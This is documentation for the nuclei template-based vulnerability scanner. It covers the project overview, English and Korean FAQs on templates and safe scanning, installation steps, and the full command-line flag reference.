## 1. Project Overview & Quickstart (projectdiscovery/nuclei)

# nuclei

Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.

### Repository Details
- **Repository:** [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei)
- **GitHub Stars:** ⭐ 32,079
- **Primary Language:** Go

*Note: High-volume repository documentation is actively indexed and synchronized by YakaAI.*

## 2. Official Technical Reference & Guides (projectdiscovery/nuclei-docs)

## File: docs/faq/nuclei.md

??? info "What is nuclei?"

	Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
	
	It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.


??? info "What was the genesis behind nuclei?"
	Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.

	We wanted something simple enough to be used by ==**everyone**== while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.

??? info "What modules does nuclei engine support?"

	Nuclei engine supports the following type of modules.

	- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
	- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
	- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
	- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)

??? info "What kind of scans can I perform with nuclei?"

	Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.

??? info "How well-maintained is this project?"

	The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.

??? tip "How can I support/contribute to this project? 💙"

	To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.

	If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).

??? warning "I found results with nuclei. When should I report it?"

	**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.

	??? tip "How do I validate nuclei results?"

		Once nuclei finds a result, and you have vulnerable ==target== and ==template==, rerun the template with ==`-debug`== flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.

??? warning "How much traffic does nuclei generate?"
	
	By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.

	!!! info ""
		As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.


??? warning "Is it safe to run nuclei?"

	We consider two factors in regards to calling nuclei =="safe"== -

	1. The **traffic** nuclei makes against the target website.
	2. The **impact** templates have on the target website.

	!!! check "HTTP Traffic"

		Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.

	!!! check "Safe Templates"

		The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure  these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can only be executed when explicitly invoked using the `-itags` option.

??? info "What is nuclei's license?"

	Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).


??? info "I have more questions! 🙋"
	
	Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).


??? warning "Missing dependencies in headless mode on Linux"

	Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
    Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
	Ubuntu

	With snap:
	```sh
	sudo snap install chromium
	```

	Without snap:
	```sh
	sudo apt update
	sudo snap refresh
	sudo apt install zip curl wget git
	sudo snap install golang --classic
	wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - 
	sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
	sudo apt update 
	sudo apt install google-chrome-stable
	```

	In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
	```
	sudo apt-get install libnss3 libgconf-2-4
	```

	If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:

	```
	sudo apt-get install libnss3-dev
	```

	Error type examples:
	```
	Error:      	Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
	```
	```
	could not create browser
	```
	```
	Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
	Please install it with:
	snap install chromium
	```

---

## File: docs/faq/templates.md

??? info "What are nuclei templates?"

	Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.

??? info "How can I write nuclei templates?"

	We maintain a [documentation guide](https://nuclei.projectdiscovery.io/templating-guide/) for writing new and custom nuclei templates. We also have [sample templates](https://nuclei.projectdiscovery.io/template-examples/http/) for various modules nuclei supports.


??? tip "Is writing nuclei templates useful?"

	Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.

	Here are few examples from the community making use of templates to automate the security findings.



	??? Reference
		- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
		- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
		- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
		- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
		- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

??? info "How do I run nuclei templates?"

	Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.

	```
	nuclei -tags cve -list target_urls.txt
	```

??? info "I want to contribute nuclei templates! 😁"

	You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.


??? warning "I'm getting false-positive results!"
	The nuclei template project is a **community-contributed project**. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. **Templates are only as good as their matchers.**

	If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.

	??? info "I found a template producing false positive or negative results, but I'm not sure if this is accurate."

		Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.

	??? info "I found a template producing false positive or negative result and I don't know how to fix it."

		Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.

	??? info "I found a template producing a false positive or negative result and I know how to fix it."

		Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.

??? warning "I'm not able to run all templates!"

	The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure  these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.

??? warning "Templates exist on GitHub but are not running with nuclei?"

	When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.

---

## File: docs/kr/faq/nuclei.md

??? info "Nuclei는 무엇인가요?"

    Nuclei는 간단한 YAML 템플릿을 기초로 한 빠른 맞춤형 취약점 스캐너입니다.

    2개의 요소로 구성됩니다. 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - 쉽게 읽고 쓸 수 있는 YAML 기반 형식으로 HTTP/DNS/네트워크/헤드리스/파일 프로토콜 기반 검사를 스크립팅할 수 있게 합니다. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - 즉시 사용할 수 있는 **커뮤니티에서 기여해준** 취약점 템플릿입니다.

??? info "어떻게 시작하게 되었나요?"
	기존의 스캐너는 엔진 위에 쓰기 쉬운 맞춤식 검사를 허용하는 기능이 항상 부족했습니다. 이것이 단순성, 모듈성, 그리고 많은 에셋들을 스캔할 수 있는 능력에 중점을 두고 Nuclei를 개발하기 시작한 이유입니다.
	
	누구나 사용하기에 간편하기도 하고 현대 웹에 통합될 만큼 충분히 정교하길 원했습니다. Nuclei의 기능들은 복잡한 보안 검사를 매우 빠르게 프로토타입화 할 수 있도록 조정했습니다.

??? info "어떤 모듈을 지원하나요?"

	Nuclei는 다음과 같은 모듈을 지원합니다.

	- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
	- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
	- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
	- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)

??? info "Nuclei를 통해 어떤 종류의 스캔을 할 수 있나요?"

	Nuclei는 로컬 파일 시스템의 소스 코드나 파일들에 있는 **웹 어플리케이션**, **네트워크**, **잘못된 구성 기반의 DNS**, **비밀스러운 스캐닝**등에서 생기는 보안 취약점을 탐지 하는데 사용할 수 있습니다. 

??? info "어떻게 이 프로젝트는 어떻게 유지되고 있나요?"

	Nuclei 프로제트는 현재 [ProjectDiscovery](https://projectdiscovery.io/#/)팀에 의해서 개발 및 유지되고 있습니다. 그리고 일반적으로 매 2주마다 릴리즈를 진행하고 있습니다.

??? tip "어떻게 이 프로젝트에 지원/기여 할 수 있나요? 💙"

	프로젝트의 모멘텀을 유지하기 위해서, 모두가 [template project](https://github.com/projectdiscovery/nuclei-templates)에서 새로운 템플릿을 생성하고 커뮤니티에 공유해주길 원합니다. Nuclei 템플릿 저장소가 공개적이고, 즉시 사용가능 하고, 최신을 유지할 수 있도록 도와주세요.

	Nuclei를 사용하며 찾은 흥미롭거나 특별한 보안 문제를 찾았고, 이 과정 전체를 블로그의 형태로 공유하고자 한다면 [ProjectDiscovery blog](https://blog.projectdiscovery.io)에 게스트 게시물로 올려주시면 감사하겠습니다.

??? warning "Nuclei에서 결과를 얻었습니다. 언제 이를 신고(Report)해야하나요?"

	**잠시만요** -- Nuclei에서 보안 문제를 찾은 이후에 항상 이를 신고하기 이전에 다시 살펴 보는 것이 좋습니다. 다음은 문제를 확인/검증하기 위한 팁입니다.

	??? tip "어떻게 Nuclei의 결과를 검증하나요?"

		Nuclei를 통해 결과를 획득하고, 취약한 대상과 템플릿을 알게 되면, ==`-debug`== 플래그와 함께 템플릿을 다시 실행하여 템플릿에 정의된 예상 결과와 비교하여 출력을 검사합니다. 이러한 방식을 통해서, 식별된 취약점을 확정할 수 있습니다.

??? warning "Nuclei가 생성하는 트래픽은 얼마나 많은가요?"
	
	기본적으로 **모든 nuclei-templates**을 실행할 때 한 대상에게 (HTTP 프로토콜 과 다른 서비스 모두) 수 천개의 요청을 생성합니다. 매일 추가되는 3500개의 Nuclei 템플릿에서 비롯됩니다.

	!!! info ""
		기본적으로 [이 곳](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)에 있는 일부 템플릿은 기본 검색에서 제외됩니다.

??? warning "Nuclei를 실행하는 것은 안전한가요?"

	Nuclei에서 =="안전"== 하다고 말하기 위해서 두 가지를 고려합니다.

	1. 핵이 대상 사이트에 생성한 **트래픽**.
	2. 템플릿이 사이트에 미치는 **영향**

	!!! check "HTTP 트래픽"

		Nuclei는 지능적인 요청 감소 때문에 항상 선택된 템플릿 수보다 적은 수의 HTTP 요청을 생성합니다. 일부 템플릿에는 다수의 요청이 포함되어 있지만, 이 룰은 일반적으로 대부분의 스캔 설정에 적용됩니다.
		
	!!! check "안전한 템플릿"

		Nuclei 템플릿에는 퍼지 및 대상 시스템에 DoS를 초래할 수 있는 다양한 템플릿이 포함되어 있습니다([목록](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) 참조). 이러한 템플릿들이 실수로 실행되지 않도록 템플릿에 태그를 달고 기본 스캔에서 제외합니다. 이런 템플릿들은 `-itags` 옵션을 사용한 명시적인 경우에만 실행됩니다.

??? info "Nuclei 라이선스는 무엇인가요?"

	Nuclei [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)를 가진 오픈소스 프로젝트입니다.


??? info "더 많은 질문을 하고 싶습니다! 🙋"
	
	[Discord server](https://discord.gg/projectdiscovery)에 참여하시거나 [Twitter](http://twitter.com/pdnuclei)로 연락을 부탁드립니다.

---

## File: docs/kr/faq/templates.md

??? info "Nuclei 템플릿이 뭔가요?"

    Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) 는 Nuclei 프로젝트의 핵심입니다. 템플릿들은 다양한 취약점을 찾아내기 위해 실행되는 핵심 로직을 포함합니다. 프로젝트는 **수천 개**의 즉시 사용가능한 **[커뮤니티에서 기여해준](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** 취약점 템플릿들로 구성되어 있습니다.

??? info "어떻게 Nuclei 템플릿을 장성할 수 있나요?"

    Nuclei templates 을 새로 작성하고 커스텀 하기 위한 [가이드](https://nuclei.projectdiscovery.io/templating-guide/)를 유지하고 있습니다. 또한, Nuclei가 지원하는 다양한 모듈들에 대한 [샘플 탬플릿](https://nuclei.projectdiscovery.io/template-examples/http/)도 있습니다.

??? tip "Nuclei 템플릿을 작성하는 것이 유용한가요?"

    한 어플리케이션의 보안을 평가하는 일을 많은 시간을 소모합니다. 가능할 때마다 단계를 자동화 하는 것은 언제나 시간이 절약되고 좋은 것입니다. 보안 취약점을 발견하면, 그 이슈를 재현하기 위하여 필요한 HTTP 요청을 정의하여 Nuclei 템플릿을 준비하고, 이를 통해 쉽게 여러 호스트에서 동일한 취약점을 테스트합니다. **템플릿을 한 번 작성하여 영원히 사용하는 것**은 더 이상 취약점 테스트를 수동으로 할 필요가 없기 때문에 충분히 가치있는 일입니다.

    다음은 보안관련 결과들을 자동화하기 위해 커뮤니티가 템플릿을 사용한 예시입니다.

	??? Reference
		- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
		- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
		- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
		- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
		- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

??? info "Nuclei 템플릿을 어떻게 실행시킬 수 있나요?"

    Nuclei 템플릿은 이름과 태그를 통해 (각각 `-templates` (`-t`)나 `-tags`플래그) 실행시킬 수 있습니다.

	```
	nuclei -tags cve -list target_urls.txt
	```

??? info "Nuclei 템플릿에 기여하고 싶어요! 😁"

    Nuclei 템플릿을 커뮤니티에 공유해주시는 것은 언제나 환영합니다. 템플릿의 세부사항과 함께 [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name)를 열거나 본인만의 Nuclei 템플릿을 포함하여 GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)을 보내주세요. 만약 Github 계정이 없다면, [discord server](https://discord.gg/projectdiscovery)를 이용하셔도 됩니다.

??? warning "잘못된 결과를 얻었어요!"
    
    Nuclei 템플릿 프로젝트는 **커뮤니티에서 기여하는 프로젝트**입니다. ProjectDiscovery 팀은 템플릿이 병합되기 전에 수동적으로 템플릿들을 리뷰합니다. 그럼에도, 약한 matchers를 가진 일부 템플릿들은 통과할 가능성이 있습니다. 이는 잘못된 결과를 생성할 수 있습니다. **템플릿은 그 matchers만큼의 성능을 냅니다.**

    만약 템플릿이 거짓된 결과를 생상하는지 확인하고 싶다면, 빠르게 고치기 위한 다음의 몇 가지 따라할 수 있는 단계들이 있습니다.

	??? info "잘못된 결과를 찾았는데, 정확한지 모르겠어요."

        [Twitter](https://twitter.com/pdnuclei) 혹은 [Discord](https://discord.gg/projectdiscovery)의 DM을 통해 템플릿의 타당성을 확인합니다.

	??? info "잘못된 결과를 찾았는데, 어떻게 고칠 지 모르겠어요."

        GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+)를 세부사항과 함께 남겨주세요. 모두가 문제를 해결하고 업데이트 하기 위해 일할 것입니다.

	??? info "잘못된 결과를 찾는 템플릿을 찾고, 어떻게 고치는 지 알아요."

		수정한 내역을 GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)를 통해 전달해주세요.

??? warning "모든 템플릿을 실행시킬 수 없어요!"

    Nuclei 템플릿에는 퍼지 및 대상 시스템에 DoS를 초래할 수 있는 다양한 템플릿이 포함되어 있습니다([목록](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) 참조). 이러한 템플릿들이 실수로 실행되지 않도록 템플릿에 태그를 달고 기본 스캔에서 제외합니다. 이런 템플릿들은 `-itags` 옵션을 사용한 명시적인 경우에만 실행됩니다.

??? warning "Github에 있는 템플릿이지만 Nuclei로 실행되지 않아요."

    Nuclei 실행파일로 템플릿을 다운받거나 업데이트할 때, 항상 최신 버전의 릴리즈에서 모든 다운로드를 받습니다. 릴리즈 이후에 추가된 템플릿들은 [master branch](https://github.com/projectdiscovery/nuclei-templates)에 존재하고 새 릴리즈가 생성될 때 추가됩니다.

---

## File: docs/kr/nuclei/get-started.md

## **Nuclei** 기능


!!! example "Features."

    * HTTP | DNS | TCP | FILE 지원
    * 수정 가능한 템플릿
    * 대규모 스캐닝
    * 대역 외 기반 탐지
    * 본인만의 템플릿을 쉽게 작성가능


## **Nuclei** 설치

=== "Go"


    ```
    go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
    ```

    !!! info
        Nuclei를 성공적으로 설치하기 위해서는 최신 버전의 **Go** 가 필요합니다.

=== "Brew"

    ```
    brew install nuclei
    ```

    !!! info
        **macOS** (or Linux) 를 지원합니다.

=== "Docker"

    ```
    docker pull projectdiscovery/nuclei:latest
    ```

=== "Github"

    ```
    git clone https://github.com/projectdiscovery/nuclei.git; \
    cd nuclei/v2/cmd/nuclei; \
    go build; \
    mv nuclei /usr/local/bin/; \
    nuclei -version;
    ```

    !!! info
        Nuclei를 성공적으로 설치하기 위해서는 최신 버전의 **Go** 가 필요합니다.
=== "Binary"

    ```
    https://github.com/projectdiscovery/nuclei/releases
    ```

    !!! tip
        - OS에 따라 최신 버전의 실행파일을 다운로드 합니다.
        - 실행하기 위해서 압축을 해제합니다.

## Nuclei **템플릿**

Nuclei는 2.4.0버전부터 템플릿의 자동 업데이트/다운로드를 지원합니다. [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) 프로젝트는 지속적으로 업데이트되는 템플릿 리스트를 제공합니다. 해당 리스트는 커뮤니티에서 기여해주고 있습니다.

Nuclei는 실행마다 생성되는 새로운 템플릿을 체크하고 사용 가능할 때 자동으로 최신 버전을 다운로드 받습니다. 이 기능은 터미널 혹은 설정 파일에서 `-duc`, `-disable-update-check` 플래그를 사용하여 적용하지 않을 수 있습니다.

Nuclei 엔진은 `-update` 플래그를 사용하여 최신 버전으로 업데이트할 수 있습니다.

!!! tip 
    자신만의 독특한 템플릿을 작성하는 것은 항상 다른 이들보다 자신을 앞서게 해줄 것입니다.

## **Nuclei** 사용법

```
nuclei -h
```

이 명령어는 nuclei의 사용법을 보여줍니다. 아래는 지원하고 있는 기능들을 보여줍니다.

```
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]  스캔할 URLs/hosts 대상
   -l, -list string      스캔할 URLs/hosts 대상 목록이 포함된 파일 경로(줄당 하나씩)
   -resume string        resume.cfg를 사용한 스캔 재개(클러스터링이 비활성화됨)

TEMPLATES:
   -nt, -new-templates          nuclei-templates에 가장 최근에 추가된 새 템플릿만 실행
   -as, -automatic-scan         태그 매핑에 대한 wappalyzer 기술 탐지를 사용한 자동 웹 스캔
   -t, -templates string[]      실행할 템플릿 또는 템플릿 디렉터리 목록(쉼표로 구분된 파일)
   -tu, -template-url string[]  실행할 템플릿 URL 목록(쉼표로 구분된 파일)
   -w, -workflows string[]      실행할 워크플로 또는 워크플로 디렉터리 목록(쉼표로 구분된 파일)
   -wu, -workflow-url string[]  실행할 워크플로 URL 목록(쉼표로 구분된 파일)
   -validate                    nuclei로 전달된 템플릿 검증
   -tl                          사용 가능한 모든 템플릿 목록

FILTERING:
   -a, -author string[]              작성자를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
   -tags string[]                    태그를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
   -etags, -exclude-tags string[]    태그를 기준으로 제외할 템플릿(쉼표로 구분된 파일)
   -itags, -include-tags string[]    태그가 기본 또는 구성에 의해 제외된 경우에도 실행됨
   -id, -template-id string[]        템플릿 ID들을 기준으로 실행할 템플릿(쉼표로 구분된 파일)
   -eid, -exclude-id string[]        템플릿 ID들을 기준으로 제외할 템플릿(쉼표로 구분된 파일)
   -it, -include-templates string[]  템플릿이 기본 또는 구성에 의해 제외된 경우에도 실행됨
   -et, -exclude-templates string[]  제외할 템플릿 또는 템플릿 디렉터리(파일로 구분됨, 파일)
   -s, -severity value[]             심각도를 기준으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]    심각도를 기준으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
   -pt, -type value[]                프로토콜 유형을 기준으로 실행할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois
   -ept, -exclude-type value[]       프로토콜 유형에 따라 제외할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois

OUTPUT:
   -o, -output string            발견된 문제/취약점를 쓰기 위한 출력 파일
   -sresp, -store-resp           nuclei을 통해 전달된 모든 요청/응답을 출력 디렉터리에 저장
   -srd, -store-resp-dir string  nuclei을 통해 전달된 모든 요청/응답을 사용자 지정 디렉터리에 저장(기본 "output")
   -silent                       결과만 표시
   -nc, -no-color                출력 내용 색상 비활성화 (ANSI escape codes)
   -json                         JSONL(ines) 형식으로 출력
   -irr, -include-rr             JSONL 출력에 요청/응답 쌍 포함(결과만)
   -nm, -no-meta                 cli 출력에서 결과 메타데이터 출력 비활성화
   -nts, -no-timestamp           cli 출력에서 결과 타임스탬프 출력 비활성화
   -rdb, -report-db string       nuclei 보고 데이터베이스(보고서 데이터를 유지하려면 항상 이것을 사용)
   -ms, -matcher-status          매치 실패 상태 표시
   -me, -markdown-export string  마크다운 형식으로 결과를 내보낼 디렉터리
   -se, -sarif-export string     결과를 SARIF 형식으로 내보내는 파일

CONFIGURATIONS:
   -config string              nuclei 환경 설정 파일 경로
   -fr, -follow-redirects      http 템플릿에 following redirects 활성화
   -mr, -max-redirects int     http 템플릿에 따라야 할 최대 리디렉션 수(기본값 10)
   -dr, -disable-redirects     http 템플릿에 대한 리디렉션 비활성화
   -rc, -report-config string  nuclei 보고 모듈 환경 설정 파일
   -H, -header string[]        헤더:값 형식의 모든 http 요청에 포함할 사용자 정의 헤더/쿠키(cli, file)
   -V, -var value              키=값 형식의 사용자 정의 변수
   -r, -resolvers string       nuclei에 대한 리졸버 목록이 포함된 파일
   -sr, -system-resolvers      에러 fallback으로 시스템 DNS 리졸빙 사용
   -passive                    수동 HTTP 응답 처리 모드 활성화
   -ev, -env-vars              템플릿에서 환경 변수를 사용할 수 있도록 설정
   -cc, -client-cert string    스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증서 파일(PEM-encoded)
   -ck, -client-key string     스캔된 호스트에 인증하는 데 사용되는 클라이언트 key 파일(PEM-encoded)
   -ca, -client-ca string      스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증 기관 파일(PEM-encoded)
   -sml, -show-match-line      파일 템플릿에 대해 일치하는 줄 표시, extractors에서만 작동
   -ztls                       tls13의 표준으로 autofallback과 함께 ztls 라이브러리 사용
   -sni string                 사용할 tls sni 호스트 이름(기본: 입력한 도메인 이름)

INTERACTSH:
   -iserver, -interactsh-server string  자체 호스팅된 인스턴스에 대한 interactsh 서버 URL (기본: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    자체 호스팅된 interactsh 서버에 대한 인증 토큰
   -interactions-cache-size int         상호 작용 캐시에 유지할 요청 수 (기본 5000)
   -interactions-eviction int           캐시에서 요청을 제거하기 전에 대기할 시간(초) (기본 60)
   -interactions-poll-duration int      각 상호 작용 폴링 요청 전에 대기할 시간(초) (기본 5)
   -interactions-cooldown-period int    종료 전 상호작용 폴링을 위한 추가 시간 (기본 5)
   -ni, -no-interactsh                  OAST 테스트를 위해 interactsh 서버 비활성화, OAST 기반 템플릿 제외

RATE-LIMIT:
   -rl, -rate-limit int            초당 보낼 최대 요청 수 (기본 150)
   -rlm, -rate-limit-minute int    분당 보낼 최대 요청 수
   -bs, -bulk-size int             템플릿당 병렬로 분석할 최대 호스트 수 (기본 25)
   -c, -concurrency int            병렬로 실행할 최대 템플릿 수 (기본 25)
   -hbs, -headless-bulk-size int   템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본 10)
   -hc, -headless-concurrency int  병렬로 실행할 최대 headless 템플릿 수 (기본 10)

OPTIMIZATIONS:
   -timeout int                타임아웃 전 대기 시간(초) (기본 5)
   -retries int                실패한 요청을 재시도하는 횟수 (기본 1)
   -ldp, -leave-default-ports  leave default HTTP/HTTPS ports (eg. host:80,host:443
   -mhe, -max-host-error int   스캔을 건너뛰기 전에 호스트에 대한 최대 오류 수 (기본 30)
   -nmhe, -no-mhe              disable skipping host from scan based on errors
   -project                    프로젝트 폴더를 사용하여 동일한 요청을 여러 번 보내지 않음
   -project-path string        특정 프로젝트 경로 설정
   -spm, -stop-at-first-path   첫 번째 일치 후 HTTP 요청 처리 중지 (template/workflow 로직이 중단될 수 있음)
   -stream                     stream 모드 - 입력을 정렬하지 않고 elaborating 시작

HEADLESS:
   -headless            헤드리스 브라우저 지원이 필요한 템플릿 활성화(root user on linux will disable sandbox)
   -page-timeout int    헤드리스 모드에서 각 페이지를 기다리는 시간(초)(기본 20)
   -sb, -show-browser   헤드리스 모드로 템플릿을 실행할 때 화면에 브라우저 표시
   -sc, -system-chrome  설치된 nuclei 대신 로컬에 설치된 chrome 브라우저 사용

DEBUG:
   -debug                    모든 요청 및 응답 표시
   -dreq, -debug-req         보낸 모든 요청 표시
   -dresp, -debug-resp       받은 모든 응답 표시
   -p, -proxy string[]       사용할 http/socks5 프록시 목록(쉼표로 구분하거나 파일 입력)
   -pi, -proxy-internal      모든 내부 요청을 프록시
   -tlog, -trace-log string  보낸 요청 추적 로그를 기록할 파일
   -elog, -error-log string  보낸 요청 오류 로그를 기록할 파일
   -version                  nuclei 버전 출력
   -hm, -hang-monitor        nuclei hang monitoring 활성화
   -v, -verbose              상세 출력 표시
   -vv                       스캔을 위해 로드된 디스플레이 템플릿 표시
   -ep, -enable-pprof        pprof debugging server 활성화
   -tv, -templates-version   설치된 nuclei-templates 버전 출력

UPDATE:
   -update                        최신 릴리스 버전으로 nuclei 엔진 업데이트
   -ut, -update-templates         최신 릴리스 버전으로 nuclei-templates 엔진 업데이트
   -ud, -update-directory string  nuclei-templates를 설치할 기본 디렉터리를 덮어씀
   -duc, -disable-update-check    자동 nuclei/templates 업데이트 확인 비활성화

STATISTICS:
   -stats                    실행 중인 스캔에 대한 통계 표시
   -sj, -stats-json          JSONL(ines) 형식으로 출력 파일에 통계 데이터 쓰기
   -si, -stats-interval int  통계 업데이트를 표시할 때까지 대기하는 시간(초) (기본 5)
   -m, -metrics              포트(기본 9092)에서 실행 중인 scan matrics 보기
   -mp, -metrics-port int    nuclei metrics 포트 설정 (기본 9092)
```

## **Nuclei** 실행

Nuclei 템플릿은 크게 두 가지 방법으로 실행 될 수 있습니다.

1) **Templates** (`-t/templates`)

기본적으로, 모든 템플릿 (nuclei-ignore 리스트를 제외한) 들은 기본 템플릿 설치 경로에서 실행됩니다.

```sh
nuclei -u https://example.com
```

